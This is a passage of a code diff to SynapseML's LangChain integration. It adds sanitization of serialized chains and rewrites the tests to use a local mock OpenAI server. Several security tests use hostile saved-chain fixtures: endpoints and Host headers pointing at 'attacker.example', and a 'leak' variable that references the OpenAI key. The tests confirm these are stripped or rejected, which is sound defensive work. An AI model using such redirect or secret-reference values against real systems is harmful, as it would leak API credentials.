secret_ids, + additional_import_mappings, + sanitize_transport, + ) + elif isinstance(value, list): + for item in value: + _configure_serialized_chain( + item, + subscription_key, + url, + api_version, + secret_ids, + additional_import_mappings, + sanitize_transport, + ) + + +def prepare_serialized_chain( + serialized_chain: str, + secrets_map: Dict[str, str], + subscription_key: Optional[str], + url: Optional[str], + api_version: Optional[str], + sanitize_transport: bool = False, +) -> Optional[WorkerChainConfig]: + serialized_config = json.loads(serialized_chain) + + if sanitize_transport: + secrets_map = {} + secret_ids = { + secret_id: f"SYNAPSEML_{secret_id}_{uuid4().hex}" + for secret_id in (_OPENAI_KEY_SECRET_ID, _AZURE_OPENAI_KEY_SECRET_ID) + } + else: + secrets_map = secrets_map.copy() + secret_ids = { + _OPENAI_KEY_SECRET_ID: _OPENAI_KEY_SECRET_ID, + _AZURE_OPENAI_KEY_SECRET_ID: _AZURE_OPENAI_KEY_SECRET_ID, + } + if subscription_key is not None: + secrets_map[secret_ids[_OPENAI_KEY_SECRET_ID]] = subscription_key + secrets_map[secret_ids[_AZURE_OPENAI_KEY_SECRET_ID]] = subscription_key + secrets_map.pop(_AZURE_OPENAI_AD_TOKEN_SECRET_ID, None) + + additional_import_mappings = {} + _configure_serialized_chain( + serialized_config, + subscription_key, + url, + api_version, + secret_ids, + additional_import_mappings, + sanitize_transport, + ) + if contains_not_implemented(serialized_config): + return None + if sanitize_transport: + _validate_secret_references(serialized_config, set(secrets_map)) + return WorkerChainConfig( + json.dumps(serialized_config), + secrets_map, + additional_import_mappings, + ) + + +def prepare_chain_for_worker( + chain, + subscription_key: Optional[str], + url: Optional[str], + api_version: Optional[str], +) -> Optional[WorkerChainConfig]: + try: + serialized_chain = dumps(chain) + except TypeError: + return None + + ignored_secret_ids = _OPENAI_SECRET_IDS if subscription_key is not None else set() + return prepare_serialized_chain( + serialized_chain, + _collect_secrets(chain, ignored_secret_ids), + subscription_key, + url, + api_version, + ) + + +def load_chain_for_worker(config: WorkerChainConfig): + additional_import_mappings = dict(_PERSISTED_IMPORT_MAPPINGS) + additional_import_mappings.update(config.additional_import_mappings) + chain = loads( + config.serialized_chain, + allowed_objects="all", + secrets_map=config.secrets_map, + valid_namespaces=["langchain_classic"], + additional_import_mappings=additional_import_mappings, + secrets_from_env=False, + ) + _clear_azure_ad_token_sentinel(chain) + return chain + + +def load_persisted_chain(config: WorkerChainConfig): + chain = loads( + config.serialized_chain, + allowed_objects="core", + secrets_map=config.secrets_map, + valid_namespaces=["langchain_classic"], + additional_import_mappings=_PERSISTED_IMPORT_MAPPINGS, + secrets_from_env=False, + ) + _clear_azure_ad_token_sentinel(chain) + return chain diff --git a/cognitive/src/test/python/synapsemltest/services/langchain/test_LangchainTransform.py b/cognitive/src/test/python/synapsemltest/services/langchain/test_LangchainTransform.py index aa076dfacb4..a8d908e5a80 100644 --- a/cognitive/src/test/python/synapsemltest/services/langchain/test_LangchainTransform.py +++ b/cognitive/src/test/python/synapsemltest/services/langchain/test_LangchainTransform.py @@ -1,204 +1,772 @@ # Copyright (C) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See LICENSE in project root for information. -# TODO: Upgrade to langchain>=0.3 + langchain-openai>=0.2 + openai>=1.0. -# The CompatAzureChatOpenAI subclass works around langchain==0.0.152 -# always sending max_tokens (rejected by reasoning models). Upgrading makes -# it unnecessary because langchain-openai 0.2+ natively uses -# max_completion_tokens and the openai 1.x SDK omits unset params. - -import os, json, subprocess, unittest -from langchain.chains import LLMChain -from langchain.prompts import PromptTemplate -from langchain.chat_models import AzureChatOpenAI +import json +import tempfile +import threading +import unittest +from contextlib import contextmanager +from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer +from pathlib import Path +from unittest.mock import patch + +from langchain_classic.chains import LLMChain +from langchain_classic.output_parsers.regex import RegexParser +from langchain_core.load import dumps +from langchain_core.output_parsers import StrOutputParser +from langchain_core.prompts import PromptTemplate +from langchain_core.runnables import ( + RunnableLambda, + RunnableParallel, + RunnablePassthrough, +) +from langchain_openai import AzureChatOpenAI, AzureOpenAI, ChatOpenAI +from openai import OpenAIError + +from synapse.ml.core.init_spark import init_spark from synapse.ml.services.langchain import LangchainTransformer -from synapse.ml.services.langchain.LangchainTransform import CompatAzureChatOpenAI -from pyspark.sql import SQLContext -from synapse.ml.core.init_spark import * +from synapse.ml.services.langchain._LangchainSerialization import ( + load_chain_for_worker, + load_persisted_chain, + prepare_chain_for_worker, + prepare_serialized_chain, +) +from synapse.ml.services.openai.OpenAIDefaults import OpenAIDefaults spark = init_spark() -sc = SQLContext(spark.sparkContext) -class LangchainTransformTest(unittest.TestCase): - def __init__(self, *args, **kwargs): - super(LangchainTransformTest, self).__init__(*args, **kwargs) - # fetching openai_api_key - secretJson = subprocess.check_output( - "az keyvault secret show --vault-name mmlspark-build-keys --name openai-api-key-2", - shell=True, - ) - openai_api_key = json.loads(secretJson)["value"] - openai_api_base = "https://synapseml-openai-2.openai.azure.com/" - openai_api_version = "2025-01-01-preview" - openai_api_type = "azure" +@contextmanager +def openai_server(): + requests = [] + + class OpenAIHandler(BaseHTTPRequestHandler): + def do_POST(self): + content_length = int(self.headers.get("Content-Length", "0")) + self.rfile.read(content_length) + requests.append( + { + "authorization": self.headers.get("Authorization"), + "api_key": self.headers.get("api-key"), + "path": self.path, + } + ) + if "/chat/completions" in self.path: + choices = [ + { + "index": 0, + "message": { + "role": "assistant", + "content": "configured", + }, + "finish_reason": "stop", + } + ] + object_type = "chat.completion" + response_id = "chatcmpl-test" + else: + choices = [ + { + "index": 0, + "text": "configured", + "finish_reason": "stop", + "logprobs": None, + } + ] + object_type = "text_completion" + response_id = "cmpl-test" + response = json.dumps( + { + "id": response_id, + "object": object_type, + "created": 1, + "model": "gpt-5.1", + "choices": choices, + "usage": { + "prompt_tokens": 1, + "completion_tokens": 1, + "total_tokens": 2, + }, + } + ).encode("utf-8") + self.send_response(200) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(response))) + self.end_headers() + self.wfile.write(response) + + def log_message(self, _, *args): + pass - os.environ["OPENAI_API_TYPE"] = openai_api_type - os.environ["OPENAI_API_VERSION"] = openai_api_version - os.environ["OPENAI_API_BASE"] = openai_api_base - os.environ["OPENAI_API_KEY"] = openai_api_key + server = ThreadingHTTPServer(("127.0.0.1", 0), OpenAIHandler) + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + try: + yield server.server_port, requests + finally: + server.shutdown() + server.server_close() + thread.join() - self.subscriptionKey = openai_api_key - self.url = openai_api_base - self.copy_prompt = PromptTemplate( - input_variables=["technology"], - template="Repeat the following word, just output the word again: {technology}", +class LangchainRunnableTest(unittest.TestCase): + def tearDown(self): + defaults = OpenAIDefaults() + defaults.reset_subscription_key() + defaults.reset_URL() + defaults.reset_api_version() + + def test_transformer_invokes_runnable(self): + class TextAccessor(str): + pass + + transformer = ( + LangchainTransformer() + .setInputCol("value") + .setOutputCol("result") + .setChain(RunnableLambda(lambda value: TextAccessor(f"echo:{value}"))) ) - # construction of llm - llm = CompatAzureChatOpenAI( - api_version="2025-01-01-preview", - deployment_name="gpt-4o", - model_kwargs={"max_completion_tokens": 100}, - temperature=0, - verbose=False, + row = transformer.transform( + spark.createDataFrame([("test",)], ["value"]) + ).first() + + self.assertEqual(row.result, "echo:test") + self.assertEqual(row.errorCol, "") + + def test_transformer_applies_inline_settings_on_workers(self): + with openai_server() as (port, requests): + llm = ChatOpenAI( + model="gpt-5.1", + base_url="http://127.0.0.1:1/v1/", + api_key="old-key", + max_retries=0, + ) + try: + transformer = ( + LangchainTransformer() + .setInputCol("value") + .setOutputCol("result") + .setChain(llm) + .setSubscriptionKey("inline-key") + .setUrl(f"http://127.0.0.1:{port}/v1/") + ) + + rows = transformer.transform( + spark.createDataFrame( + [("first",), ("second",)], ["value"] + ).repartition(2) + ).collect() + finally: + llm.client._client.close() + + self.assertEqual([row.result for row in rows], ["configured", "configured"]) + self.assertEqual(len(requests), 2) + self.assertTrue( + all(request["authorization"] == "Bearer inline-key" for request in requests) + ) + self.assertTrue( + all(request["path"] == "/v1/chat/completions" for request in requests) ) - self.chain = LLMChain(llm=llm, prompt=self.copy_prompt) - self.langchainTransformer = ( - LangchainTransformer() - .setInputCol("technology") - .setOutputCol("copied_technology") - .setChain(self.chain) - .setSubscriptionKey(self.subscriptionKey) - .setUrl(self.url) - ) - - # construction of test dataframe - self.sentenceDataFrame = spark.createDataFrame( - [(0, "docker"), (0, "spark"), (1, "python")], ["label", "technology"] - ) - - def _assert_chain_output(self, transformer, dataframe=None): - if dataframe is None: - dataframe = self.sentenceDataFrame - transformed_df = transformer.transform(dataframe) - collected_transformed_df = transformed_df.collect() - input_col_values = [row.technology for row in collected_transformed_df] - output_col_values = [row.copied_technology for row in collected_transformed_df] - - for i in range(len(input_col_values)): - assert ( - input_col_values[i] in output_col_values[i].lower() - ), f"output column value {output_col_values[i]} doesn't contain input column value {input_col_values[i]}" - - def test_langchainTransform(self): - # construct langchain transformer using the chain defined above. And test if the generated - # column has the expected result. - dataframes_to_test = spark.createDataFrame( - [(0, "docker"), (0, "spark"), (1, "python")], ["label", "technology"] - ) - self._assert_chain_output(self.langchainTransformer, dataframes_to_test) - - def test_langchainTransformErrorHandling(self): - # Verify that OpenAI API errors are captured in errorCol rather than - # crashing the Spark job. We force a reliable InvalidRequestError by - # setting max_completion_tokens=0 (below the API minimum of 1). - error_llm = CompatAzureChatOpenAI( - api_version="2025-01-01-preview", - deployment_name="gpt-4o", - model_kwargs={"max_completion_tokens": 0}, - temperature=0, - verbose=False, - ) - error_chain = LLMChain(llm=error_llm, prompt=self.copy_prompt) - error_transformer = ( + def test_transformer_captures_modern_openai_error(self): + def raise_openai_error(_): + raise OpenAIError("modern OpenAI SDK error") + + transformer = ( LangchainTransformer() - .setInputCol("technology") - .setOutputCol("copied_technology") - .setChain(error_chain) - .setSubscriptionKey(self.subscriptionKey) - .setUrl(self.url) - ) - - dataframes_to_test = spark.createDataFrame( - [(0, "hello")], ["label", "technology"] - ) - transformed_df = error_transformer.transform(dataframes_to_test) - collected = transformed_df.collect() - error_col_values = [row.errorCol for row in collected] - - for error_val in error_col_values: - assert ( - error_val and len(error_val) > 0 - ), "Expected an error message in errorCol but got empty/null" - assert ( - "invalid" in error_val.lower() - ), f"Expected 'invalid' in error message, got: {error_val}" - - def test_langchainTransformReasoningModelErrorCapture(self): - # Verify that using plain AzureChatOpenAI (without the compat - # workaround) against a reasoning model deployment captures the - # max_tokens rejection in errorCol rather than crashing the Spark job. - # This is the error a customer would hit with langchain==0.0.152. - raw_llm = AzureChatOpenAI( - api_version="2025-01-01-preview", - deployment_name="gpt-4o", - temperature=0, - verbose=False, - ) - raw_chain = LLMChain(llm=raw_llm, prompt=self.copy_prompt) - raw_transformer = ( + .setInputCol("value") + .setOutputCol("result") + .setChain(RunnableLambda(raise_openai_error)) + ) + + row = transformer.transform( + spark.createDataFrame([("test",)], ["value"]) + ).first() + + self.assertEqual(row.result, "") + self.assertIn("modern OpenAI SDK error", row.errorCol) + + def test_transformer_azure_key_override_disables_ad_token_auth(self): + with openai_server() as (port, requests): + llm = AzureOpenAI( + model="gpt-5.1", + azure_endpoint="http://127.0.0.1:1/", + azure_deployment="deployment", + api_version="old-version", + api_key="old-key", + max_retries=0, + ) + try: + transformer = ( + LangchainTransformer() + .setInputCol("value") + .setOutputCol("result") + .setChain(llm) + .setSubscriptionKey("inline-key") + .setUrl(f"http://127.0.0.1:{port}/") + .setApiVersion("new-version") + ) + + row = transformer.transform( + spark.createDataFrame([("test",)], ["value"]) + ).first() + finally: + llm.client._client.close() + + self.assertEqual(row.result, "configured") + self.assertEqual(len(requests), 1) + self.assertEqual(requests[0]["api_key"], "inline-key") + self.assertTrue( + requests[0]["path"].startswith("/openai/deployments/deployment/completions") + ) + + def test_inline_settings_override_openai_defaults(self): + defaults = OpenAIDefaults() + defaults.set_subscription_key("global-key") + defaults.set_URL("https://global.openai.azure.com/") + defaults.set_api_version("global-version") + + transformer = LangchainTransformer() + self.assertEqual( + transformer._get_effective_openai_settings()[:3], + ( + "global-key", + "https://global.openai.azure.com/", + "global-version", + ), + ) + + transformer.setSubscriptionKey("inline-key") + transformer.setUrl("https://inline.openai.azure.com/") + transformer.setApiVersion("inline-version") + self.assertEqual( + transformer._get_effective_openai_settings()[:3], + ( + "inline-key", + "https://inline.openai.azure.com/", + "inline-version", + ), + ) + + def test_worker_reconstruction_preserves_direct_client(self): + llm = ChatOpenAI( + model="gpt-5.1", + base_url="https://proxy.example.com/custom/openai/", + api_key="direct-key", + ) + loaded = None + try: + config = prepare_chain_for_worker(llm, None, None, None) + self.assertIsNotNone(config) + loaded = load_chain_for_worker(config) + self.assertEqual( + str(loaded.root_client.base_url), + "https://proxy.example.com/custom/openai/", + ) + self.assertEqual(loaded.openai_api_key.get_secret_value(), "direct-key") + finally: + llm.root_client.close() + if loaded is not None: + loaded.root_client.close() + + def test_worker_reconstruction_normalizes_azure_urls(self): + chat_llm = ChatOpenAI( + model="gpt-5.1", + base_url="https://old.openai.azure.com/openai/v1/", + api_key="old-key", + ) + azure_llm = AzureChatOpenAI( + model="gpt-5.1", + azure_endpoint="https://old.openai.azure.com/", + api_version="old-version", + api_key="old-key", + azure_ad_token_provider=lambda: "old-token", + azure_ad_async_token_provider=lambda: "old-async-token", + ) + loaded_chat = None + loaded_azure = None + try: + loaded_chat = load_chain_for_worker( + prepare_chain_for_worker( + chat_llm, + "new-key", + "https://new.openai.azure.com/openai/", + None, + ) + ) + azure_config = prepare_chain_for_worker( + azure_llm, + "new-key", + "https://new.openai.azure.com/openai/", + "new-version", + ) + self.assertIsNotNone(azure_config) + loaded_azure = load_chain_for_worker(azure_config) + + self.assertEqual( + str(loaded_chat.root_client.base_url), + "https://new.openai.azure.com/openai/v1/", + ) + self.assertEqual( + loaded_azure.azure_endpoint, + "https://new.openai.azure.com/", + ) + self.assertEqual(loaded_azure.openai_api_version, "new-version") + self.assertIsNone(loaded_azure.root_client._azure_ad_token) + self.assertIsNone(loaded_azure.root_async_client._azure_ad_token) + finally: + chat_llm.root_client.close() + azure_llm.root_client.close() + if loaded_chat is not None: + loaded_chat.root_client.close() + if loaded_azure is not None: + loaded_azure.root_client.close() + + def test_worker_reconstruction_rejects_conflicting_direct_keys(self): + first = ChatOpenAI(model="gpt-5.1", api_key="first-key") + second = ChatOpenAI(model="gpt-5.1", api_key="second-key") + try: + chain = RunnableParallel(first=first, second=second) + with self.assertRaisesRegex(ValueError, "conflicting values"): + prepare_chain_for_worker(chain, None, None, None) + finally: + first.root_client.close() + second.root_client.close() + + def test_worker_reconstruction_clears_azure_completion_token(self): + llm = AzureOpenAI( + model="gpt-5.1", + azure_endpoint="https://old.openai.azure.com/", + azure_deployment="deployment", + api_version="old-version", + api_key="old-key", + ) + loaded = None + try: + loaded = load_chain_for_worker( + prepare_chain_for_worker( + llm, + "trusted-key", + "https://trusted.openai.azure.com/", + "trusted-version", + ) + ) + + self.assertIsNone(loaded.client._client._azure_ad_token) + self.assertIsNone(loaded.async_client._client._azure_ad_token) + finally: + llm.client._client.close() + if loaded is not None: + loaded.client._client.close() + + def test_worker_reconstruction_supports_classic_components(self): + parser = RegexParser(regex=r"(.*)", output_keys=["value"]) + config = prepare_chain_for_worker(parser, None, None, None) + + loaded = load_chain_for_worker(config) + + self.assertIsInstance(loaded, RegexParser) + self.assertEqual(loaded.invoke("classic"), {"value": "classic"}) + + def test_worker_settings_override_nested_request_transport(self): + llm = AzureChatOpenAI( + model="gpt-5.1", + azure_endpoint="https://old.openai.azure.com/", + api_version="old-version", + api_key="old-key", + model_kwargs={ + "extra_headers": { + "api-key": "old-key", + "Host": "old.openai.azure.com", + "X-Keep": "header", + }, + "extra_query": { + "api-version": "old-version", + "keep": "query", + }, + }, + ) + loaded = None + try: + loaded = load_chain_for_worker( + prepare_chain_for_worker( + llm, + "trusted-key", + "https://trusted.openai.azure.com/", + "trusted-version", + ) + ) + + self.assertEqual( + loaded.model_kwargs["extra_headers"], + {"X-Keep": "header"}, + ) + self.assertEqual( + loaded.model_kwargs["extra_query"], + {"keep": "query"}, + ) + finally: + llm.root_client.close() + if loaded is not None: + loaded.root_client.close() + + def test_transformer_saves_serializable_runnable(self): + transformer = ( LangchainTransformer() - .setInputCol("technology") - .setOutputCol("copied_technology") - .setChain(raw_chain) - .setSubscriptionKey(self.subscriptionKey) - .setUrl(self.url) - ) - - dataframes_to_test = spark.createDataFrame( - [(0, "hello")], ["label", "technology"] - ) - transformed_df = raw_transformer.transform(dataframes_to_test) - collected = transformed_df.collect() - error_col_values = [row.errorCol for row in collected] - - for error_val in error_col_values: - assert ( - error_val and len(error_val) > 0 - ), "Expected an error in errorCol when using plain AzureChatOpenAI with reasoning model" - - def test_langchainTransformNonReasoningModel(self): - # Verify that the compat workaround works with non-reasoning models too. - # gpt-4.1-mini on synapseml-openai-2 is a non-reasoning model. - non_reasoning_llm = CompatAzureChatOpenAI( - api_version="2025-01-01-preview", - deployment_name="gpt-4.1-mini", - model_kwargs={"max_completion_tokens": 100}, - temperature=0, - verbose=False, - ) - non_reasoning_chain = LLMChain(llm=non_reasoning_llm, prompt=self.copy_prompt) - non_reasoning_transformer = ( + .setInputCol("value") + .setOutputCol("result") + .setChain(PromptTemplate.from_template("Define {value}")) + ) + + with tempfile.TemporaryDirectory() as temp_dir: + path = str(Path(temp_dir) / "langchain-transformer") + transformer.save(path) + loaded_transformer = LangchainTransformer.load(path) + + self.assertIsInstance(loaded_transformer.getChain(), PromptTemplate) + self.assertEqual(loaded_transformer.getInputCol(), "value") + self.assertEqual(loaded_transformer.getOutputCol(), "result") + + def test_writer_sanitizes_transport_before_persisting(self): + llm = AzureChatOpenAI( + model="gpt-5.1", + azure_endpoint="https://artifact.openai.azure.com/", + api_version="artifact-version", + api_key="artifact-key", + azure_ad_token_provider=lambda: "artifact-token", + azure_ad_async_token_provider=lambda: "artifact-async-token", + default_headers={"Authorization": "artifact-key"}, + model_kwargs={ + "extra_headers": {"api-key": "artifact-key"}, + "extra_query": {"api-version": "artifact-version"}, + }, + ) + try: + serialized = LangchainTransformer().write()._chain_serializer(llm) + serialized_config = json.loads(serialized) + + self.assertNotIn("artifact-key", serialized) + self.assertNotIn("artifact-token", serialized) + self.assertNotIn("artifact-async-token", serialized) + self.assertNotIn("not_implemented", serialized) + self.assertNotIn("azure_endpoint", serialized_config["kwargs"]) + self.assertNotIn("default_headers", serialized_config["kwargs"]) + self.assertNotIn( + "extra_headers", serialized_config["kwargs"]["model_kwargs"] + ) + self.assertNotIn("extra_query", serialized_config["kwargs"]["model_kwargs"]) + finally: + llm.root_client.close() + + def test_transformer_saves_legacy_openai_chain_with_trusted_settings(self): + llm = ChatOpenAI( + model="gpt-5.1", + base_url="https://old.openai.azure.com/openai/v1/", + api_key="old-key", + default_headers={"X-Untrusted": "header"}, + default_query={"untrusted": "query"}, + model_kwargs={ + "extra_headers": { + "Host": "attacker.example", + "api-key": "artifact-key", + }, + "extra_query": { + "api-version": "artifact-version", + "artifact": "query", + }, + }, + ) + loaded_transformer = None + try: + transformer = ( + LangchainTransformer() + .setInputCol("value") + .setOutputCol("result") + .setChain( + LLMChain( + llm=llm, + prompt=PromptTemplate.from_template("{value}"), + ) + ) + .setSubscriptionKey("inline-key") + .setUrl("https://new.openai.azure.com/") + ) + + with tempfile.TemporaryDirectory() as temp_dir: + path = str(Path(temp_dir) / "langchain-transformer") + transformer.save(path) + loaded_transformer = LangchainTransformer.load(path) + + loaded_llm = loaded_transformer.getChain().llm + self.assertEqual( + str(loaded_llm.root_client.base_url), + "https://new.openai.azure.com/openai/v1/", + ) + self.assertEqual(loaded_llm.openai_api_key.get_secret_value(), "inline-key") + self.assertIsNone(loaded_llm.default_headers) + self.assertIsNone(loaded_llm.default_query) + self.assertNotIn("extra_headers", loaded_llm.model_kwargs) + self.assertNotIn("extra_query", loaded_llm.model_kwargs) + finally: + llm.root_client.close() + if loaded_transformer is not None: + loaded_transformer.getChain().llm.root_client.close() + + def test_persisted_chain_strips_nested_transport_aliases(self): + llm = ChatOpenAI( + model="gpt-5.1", + base_url="https://old.openai.azure.com/openai/v1/", + api_key="old-key", + ) + loaded = None + try: + manifest = json.loads(dumps(llm)) + manifest["kwargs"]["model_kwargs"] = { + "api_key": "artifact-key", + "base_url": "https://attacker.example/v1/", + "default_headers": {"Authorization": "artifact-key"}, + "default_query": {"api-version": "artifact-version"}, + "openai_api_version": "artifact-version", + } + config = prepare_serialized_chain( + json.dumps(manifest), + {}, + "trusted-key", + "https://trusted.openai.azure.com/", + None, + sanitize_transport=True, + ) + + loaded = load_persisted_chain(config) + + self.assertEqual( + str(loaded.root_client.base_url), + "https://trusted.openai.azure.com/openai/v1/", + ) + self.assertEqual(loaded.openai_api_key.get_secret_value(), "trusted-key") + self.assertFalse( + set(manifest["kwargs"]["model_kwargs"]) & set(loaded.model_kwargs) + ) + finally: + llm.root_client.close() + if loaded is not None: + loaded.root_client.close() + + def test_saved_azure_chain_preserves_chain_api_version(self): + llm = AzureChatOpenAI( + model="gpt-5.1", + azure_endpoint="https://old.openai.azure.com/", + api_version="chain-version", + api_key="old-key", + ) + loaded_transformer = None + try: + transformer = ( + LangchainTransformer() + .setInputCol("value") + .setOutputCol("result") + .setChain(llm) + .setSubscriptionKey("trusted-key") + .setUrl("https://trusted.openai.azure.com/") + ) + + with tempfile.TemporaryDirectory() as temp_dir: + path = str(Path(temp_dir) / "langchain-transformer") + transformer.save(path) + loaded_transformer = LangchainTransformer.load(path) + + self.assertEqual( + loaded_transformer.getChain().openai_api_version, + "chain-version", + ) + finally: + llm.root_client.close() + if loaded_transformer is not None: + loaded_transformer.getChain().root_client.close() + + def test_saved_chain_cannot_reference_trusted_openai_secret(self): + prompt = PromptTemplate.from_template("{value}:{leak}") + llm = ChatOpenAI( + model="gpt-5.1", + base_url="https://old.openai.azure.com/openai/v1/", + api_key="old-key", + ) + try: + manifest = json.loads(dumps(prompt)) + manifest["kwargs"]["partial_variables"] = { + "leak": { + "lc": 1, + "type": "secret", + "id": ["OPENAI_API_KEY"], + } + } + manifest["kwargs"]["metadata"] = { + "client": json.loads(dumps(llm)), + } + + with self.assertRaisesRegex( + ValueError, "cannot reference external secrets" + ): + prepare_serialized_chain( + json.dumps(manifest), + {}, + "trusted-secret", + "https://trusted.openai.azure.com/", + None, + sanitize_transport=True, + ) + finally: + llm.root_client.close() + + def test_saved_chain_uses_internal_default_url(self): + class InternalLangchainTransformer(LangchainTransformer): + def __init__(self): + super().__init__() + self.running_on_synapse_internal = True + self._setDefault(url="https://internal.openai.azure.com/") + + defaults = OpenAIDefaults() + cases = ( + ( + "global-url", + None, + "global-key", + "https://global.openai.azure.com/", + "https://global.openai.azure.com/openai/v1/", + ), + ( + "global-internal", + None, + "global-key", + None, + "https://internal.openai.azure.com/openai/v1/", + ), + ( + "saved-internal", + "saved-key", + None, + None, + "https://internal.openai.azure.com/openai/v1/", + ), + ) + for ( + name, + saved_key, + global_key, + global_url, + expected_url, + ) in cases: + with self.subTest(name=name): + defaults.reset_subscription_key() + defaults.reset_URL() + if global_key is not None: + defaults.set_subscription_key(global_key) + if global_url is not None: + defaults.set_URL(global_url) + llm = ChatOpenAI( + model="gpt-5.1", + base_url="https://artifact.example/v1/", + api_key="artifact-key", + ) + loaded_transformer = None + try: + transformer = ( + LangchainTransformer() + .setInputCol("value") + .setOutputCol("result") + .setChain(llm) + ) + if saved_key is not None: + transformer.setSubscriptionKey(saved_key) + else: + transformer.setUrl("https://attacker.example/") + with tempfile.TemporaryDirectory() as temp_dir: + path = str(Path(temp_dir) / "langchain-transformer") + transformer.save(path) + with patch( + "synapse.ml.services.langchain.LangchainTransform.secure_import_class", + return_value=InternalLangchainTransformer, + ): + loaded_transformer = LangchainTransformer.load(path) + + loaded_llm = loaded_transformer.getChain() + self.assertEqual( + str(loaded_llm.root_client.base_url), + expected_url, + ) + self.assertEqual( + loaded_llm.openai_api_key.get_secret_value(), + saved_key or global_key, + ) + finally: + llm.root_client.close() + if loaded_transformer is not None: + loaded_transformer.getChain().root_client.close() + + def test_saved_openai_chain_requires_key_and_url(self): + llm = ChatOpenAI( + model="gpt-5.1", + base_url="https://saved.openai.azure.com/openai/v1/", + api_key="saved-key", + ) + try: + transformer = ( + LangchainTransformer() + .setInputCol("value") + .setOutputCol("result") + .setChain(llm) + ) + with tempfile.TemporaryDirectory() as temp_dir: + path = str(Path(temp_dir) / "langchain-transformer") + transformer.save(path) + OpenAIDefaults().set_subscription_key("global-key") + with self.assertRaisesRegex(ValueError, "requires both"): + LangchainTransformer.load(path) + finally: + llm.root_client.close() + + def test_transformer_rejects_non_serializable_runnable_on_save(self): + transformer = ( LangchainTransformer() - .setInputCol("technology") - .setOutputCol("copied_technology") - .setChain(non_reasoning_chain) - .setSubscriptionKey(self.subscriptionKey) - .setUrl(self.url) + .setInputCol("value") + .setOutputCol("result") + .setChain(RunnableLambda(lambda value: value)) ) - dataframes_to_test = spark.createDataFrame( - [(0, "docker"), (0, "spark")], ["label", "technology"] + with tempfile.TemporaryDirectory() as temp_dir: + path = str(Path(temp_dir) / "langchain-transformer") + with self.assertRaisesRegex( + NotImplementedError, "cannot be serialized by langchain-core" + ): + transformer.save(path) + + def test_transformer_rejects_unsupported_classic_component_on_save(self): + transformer = ( + LangchainTransformer() + .setInputCol("value") + .setOutputCol("result") + .setChain(RegexParser(regex=r"(.*)", output_keys=["value"])) ) - self._assert_chain_output(non_reasoning_transformer, dataframes_to_test) - @unittest.skip( - "Skipping this test because not supported for langchain.chat_models.AzureChatOpenAI." - ) - def test_save_load(self): - dataframes_to_test = spark.createDataFrame( - [(0, "docker"), (0, "spark"), (1, "python")], ["label", "technology"] + with tempfile.TemporaryDirectory() as temp_dir: + path = str(Path(temp_dir) / "langchain-transformer") + with self.assertRaisesRegex( + NotImplementedError, "cannot be serialized by langchain-core" + ): + transformer.save(path) + + def test_transformer_rejects_plain_callable(self): + transformer = ( + LangchainTransformer() + .setInputCol("value") + .setOutputCol("result") + .setChain(lambda value: value) ) - temp_dir = "tmp" - os.makedirs(temp_dir, exist_ok=True) - path = os.path.join(temp_dir, "langchainTransformer") - self.langchainTransformer.save(path) - loaded_transformer = LangchainTransformer.load(path) - self._assert_chain_output(loaded_transformer, dataframes_to_test) + + with self.assertRaisesRegex(TypeError, "must define invoke"): + transformer.transform(spark.createDataFrame([("test",)], ["value"])) if __name__ == "__main__": - result = unittest.main() + unittest.main() diff --git a/cognitive/src/test/python/synapsemltest/services/openai/test_OpenAIDefaults.py b/cognitive/src/test/python/synapsemltest/services/openai/test_OpenAIDefaults.py index df96c8e908d..7958c11ef44 100644 --- a/cognitive/src/test/python/synapsemltest/services/openai/test_OpenAIDefaults.py +++ b/cognitive/src/test/python/synapsemltest/services/openai/test_OpenAIDefaults.py @@ -18,6 +18,18 @@ class TestOpenAIDefaults(unittest.TestCase): + def tearDown(self): + defaults = OpenAIDefaults() + defaults.reset_deployment_name() + defaults.reset_subscription_key() + defaults.reset_temperature() + defaults.reset_seed() + defaults.reset_top_p() + defaults.reset_URL() + defaults.reset_api_version() + defaults.reset_model() + defaults.reset_embedding_deployment_name() + def test_setters_and_getters(self): defaults = OpenAIDefaults() @@ -108,7 +120,7 @@ def test_prompt_w_defaults(self): cmd = ( "az keyvault secret show " "--vault-name mmlspark-build-keys " - "--name openai-api-key-2" + "--name openai-api-key-3" ) secret_json = subprocess.check_output(cmd, shell=True) openai_api_key = json.loads(secret_json)["value"] @@ -123,10 +135,9 @@ def test_prompt_w_defaults(self): ) defaults = OpenAIDefaults() - defaults.set_deployment_name("gpt-4.1-mini") + defaults.set_deployment_name("gpt-5-mini") defaults.set_subscription_key(openai_api_key) - defaults.set_temperature(0.05) - defaults.set_URL("https://synapseml-openai-2.openai.azure.com/") + defaults.set_URL("https://synapseml-openai-3.openai.azure.com/") prompt = OpenAIPrompt() prompt = prompt.setOutputCol("outParsed") diff --git a/cognitive/src/test/python/synapsemltest/services/openai/test_StructuredOutput.py b/cognitive/src/test/python/synapsemltest/services/openai/test_StructuredOutput.py index af7a4d6d682..1647b1b21ec 100644 --- a/cognitive/src/test/python/synapsemltest/services/openai/test_StructuredOutput.py +++ b/cognitive/src/test/python/synapsemltest/services/openai/test_StructuredOutput.py @@ -62,17 +62,20 @@ class TestStructuredOutput(unittest.TestCase): def setUpClass(cls): defaults = OpenAIDefaults() defaults.reset_model() + defaults.reset_temperature() + defaults.reset_top_p() + defaults.reset_seed() cls.subscriptionKey = json.loads( subprocess.check_output( "az keyvault secret show --vault-name mmlspark-build-keys" - " --name openai-api-key-2", + " --name openai-api-key-3", shell=True, ) )["value"] - cls.url = "https://synapseml-openai-2.openai.azure.com/" + cls.url = "https://synapseml-openai-3.openai.azure.com/" cls.api_version = "2025-04-01-preview" - cls.deploymentName = "gpt-4.1-mini" + cls.deploymentName = "gpt-5-mini" cls.df = spark.createDataFrame([("Paris", "City")], ["text", "category"]) diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIAPIKey.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIAPIKey.scala index d9932cfd77c..59fc3d59442 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIAPIKey.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIAPIKey.scala @@ -9,12 +9,11 @@ import com.microsoft.azure.synapse.ml.Secrets // Centralizes how tests get API keys, service names, and default deployments. trait OpenAIAPIKey { // Prefer environment overrides to make CI/local runs configurable - lazy val openAIAPIKey: String = 